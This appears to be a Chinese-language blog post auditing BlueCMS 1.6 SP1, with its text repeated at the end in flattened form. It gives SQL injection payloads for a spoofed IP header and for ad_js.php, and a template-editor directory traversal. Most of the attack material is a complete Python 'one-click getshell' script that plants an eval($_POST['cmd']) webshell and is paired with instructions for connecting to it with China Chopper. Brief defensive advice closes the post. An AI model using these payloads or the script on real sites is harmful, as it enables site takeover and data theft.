bluecms1.6sp1代码审计+一键getshellpoc编写
字数 1396 2025-08-09 19:58:05

BlueCMS 1.6 SP1 代码审计与漏洞利用分析

一、环境准备与源码获取

源码地址:需自行获取 BlueCMS 1.6 SP1 版本

二、漏洞审计与分析

1. SQL注入漏洞1 (comment.php)

漏洞位置uploads/comment.php

漏洞分析

  • 使用了未过滤的$SERVER变量$ip
  • 虽然系统对$GET$POST$REQUEST$COOKIE进行了过滤,但未过滤$SERVER
  • getip()函数从多个HTTP头获取IP地址,包括:
    • HTTP_CLIENT_IP
    • HTTP_X_FORWARDED_FOR
    • HTTP_X_FORWARDED
    • HTTP_FORWARDED_FOR
    • HTTP_FORWARDED
    • REMOTE_ADDR

利用方式

  • 通过伪造HTTP头注入SQL语句
  • 示例Payload:1' and sleep(20) and '1'='1

2. SQL注入漏洞2 (ad_js.php)

漏洞位置uploads/ad_js.php

漏洞分析

  • 虽然对输入进行了转义,但SQL语句不需要闭合引号
  • 直接使用数字型注入
  • SQL语句形式:WHERE ad_id=1111

利用方式

  • 使用联合查询注入
  • 示例Payload:1 union select 1,2,3,4,5,6,(select database())

3. 任意文件读取与Getshell漏洞

漏洞位置uploads/admin/tpl_manage.php

漏洞分析

  • act=edit时,可通过参数tpl_name进行目录穿越
  • 无任何过滤限制
  • 可编辑任意模板文件,包括:
    • user.php
    • ann.php
    • 其他模板文件

利用方式

  1. 访问管理员后台
  2. 进入模板编辑功能
  3. 通过目录穿越修改任意模板文件
  4. 插入恶意代码如:<?php phpinfo(); ?>
  5. 访问修改后的文件执行代码

三、漏洞复现步骤

SQL注入1复现

  1. 构造包含恶意HTTP头的请求
  2. 观察响应时间或返回结果

SQL注入2复现

  1. 直接访问ad_js.php并附加注入参数
  2. 使用联合查询获取数据库信息

任意文件读取+Getshell复现

  1. 登录管理员后台
  2. 访问tpl_manage.php?act=edit&tpl_name=../../ad_js.php
  3. 修改模板内容插入PHP代码
  4. 访问uploads/ad_js.php验证执行

四、一键Getshell脚本编写

# author: soufaker
# time: 2021/7/23
import requests
import optparse
from lxml import etree

# 参数设置
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action='store', dest="url")
parser.add_option('-a', '--username', action='store', dest="username")
parser.add_option('-p', '--password', action='store', dest="password")
options, args = parser.parse_args()

# 参数获取
url = options.url
username = options.username
password = options.password

# 登录数据
login_data = {
    "admin_name": username,
    "admin_pwd": password,
    "submit": "登录",
    "act": "do_login"
}
login_url = url + "/admin/login.php?act=login"
shell_url = url + "/admin/tpl_manage.php?act=edit&tpl_name=../../ad_js.php"

# payload(可自行更改)
shell_payload = "<?php @eval($_POST['cmd']) ?>"

# 获取登录cookie
session = requests.Session()
r = session.post(login_url, login_data, allow_redirects=False)
cookie = r.headers["Set-Cookie"]

# 设置具有admin会话的headers
headers = {
    "Cookie": cookie,
    "Content-Type": 'application/x-www-form-urlencoded'
}

# 获取模板原有内容
r2 = requests.get(shell_url, allow_redirects=False, headers=headers)
html = etree.HTML(r2.content)

# 设置修改编辑内容容器的xpath路径
select_xpath = '//textarea/text()'

# 获取容器对象
tpl_content = str(html.xpath(select_xpath))

# 拼接模板原有内容和payload
last_p = str(tpl_content + shell_payload)

# 构造提交数据
data2 = {
    "tpl_content": last_p,
    "tpl_name": "../../ad_js.php",
    "act": "do_edit"
}

# 设置代理(可选)
proxies = {
    "http": "http://localhost:8080"
}

# 提交修改
post = session.post(shell_url, data=data2, allow_redirects=False, headers=headers, proxies=proxies)

# 验证结果
if post.status_code == 200:
    shell_url2 = url + '/ad_js.php'
    print("成功getshell!, shell地址为: %s, 密码为: cmd" % shell_url2)
else:
    print("getshell失败!请检查cms版本是否存在该漏洞!")

五、脚本使用说明

  1. 安装依赖:pip install requests lxml
  2. 运行脚本:
    python script.py -u http://target.com -a admin -p password
    
  3. 成功后会输出webshell地址
  4. 使用中国菜刀等工具连接,密码为cmd

六、防御建议

  1. 对所有输入进行严格过滤,包括$_SERVER变量
  2. 使用预处理语句防止SQL注入
  3. 对文件操作进行严格的路径检查
  4. 限制模板编辑功能,禁止目录穿越
  5. 对管理员后台加强访问控制

七、学习要点

  1. 代码审计中注意未过滤的输入点
  2. 关注$_SERVER等不常用但可能危险的变量
  3. 模板编辑功能是常见的Getshell途径
  4. 自动化漏洞利用脚本的基本编写方法
  5. 漏洞验证时注意响应状态码和内容

通过本案例可以学习到从代码审计到漏洞利用的完整过程,适合安全研究人员和Web开发人员提高安全意识。

BlueCMS 1.6 SP1 代码审计与漏洞利用分析 一、环境准备与源码获取 源码地址:需自行获取 BlueCMS 1.6 SP1 版本 二、漏洞审计与分析 1. SQL注入漏洞1 (comment.php) 漏洞位置 : uploads/comment.php 漏洞分析 : 使用了未过滤的 $SERVER 变量 $ip 虽然系统对 $GET 、 $POST 、 $REQUEST 、 $COOKIE 进行了过滤,但未过滤 $SERVER getip() 函数从多个HTTP头获取IP地址,包括: HTTP_ CLIENT_ IP HTTP_ X_ FORWARDED_ FOR HTTP_ X_ FORWARDED HTTP_ FORWARDED_ FOR HTTP_ FORWARDED REMOTE_ ADDR 利用方式 : 通过伪造HTTP头注入SQL语句 示例Payload: 1' and sleep(20) and '1'='1 2. SQL注入漏洞2 (ad_ js.php) 漏洞位置 : uploads/ad_js.php 漏洞分析 : 虽然对输入进行了转义,但SQL语句不需要闭合引号 直接使用数字型注入 SQL语句形式: WHERE ad_id=1111 利用方式 : 使用联合查询注入 示例Payload: 1 union select 1,2,3,4,5,6,(select database()) 3. 任意文件读取与Getshell漏洞 漏洞位置 : uploads/admin/tpl_manage.php 漏洞分析 : 当 act=edit 时,可通过参数 tpl_name 进行目录穿越 无任何过滤限制 可编辑任意模板文件,包括: user.php ann.php 其他模板文件 利用方式 : 访问管理员后台 进入模板编辑功能 通过目录穿越修改任意模板文件 插入恶意代码如: <?php phpinfo(); ?> 访问修改后的文件执行代码 三、漏洞复现步骤 SQL注入1复现 构造包含恶意HTTP头的请求 观察响应时间或返回结果 SQL注入2复现 直接访问 ad_js.php 并附加注入参数 使用联合查询获取数据库信息 任意文件读取+Getshell复现 登录管理员后台 访问 tpl_manage.php?act=edit&tpl_name=../../ad_js.php 修改模板内容插入PHP代码 访问 uploads/ad_js.php 验证执行 四、一键Getshell脚本编写 五、脚本使用说明 安装依赖: pip install requests lxml 运行脚本: 成功后会输出webshell地址 使用中国菜刀等工具连接,密码为 cmd 六、防御建议 对所有输入进行严格过滤,包括 $_SERVER 变量 使用预处理语句防止SQL注入 对文件操作进行严格的路径检查 限制模板编辑功能,禁止目录穿越 对管理员后台加强访问控制 七、学习要点 代码审计中注意未过滤的输入点 关注 $_SERVER 等不常用但可能危险的变量 模板编辑功能是常见的Getshell途径 自动化漏洞利用脚本的基本编写方法 漏洞验证时注意响应状态码和内容 通过本案例可以学习到从代码审计到漏洞利用的完整过程,适合安全研究人员和Web开发人员提高安全意识。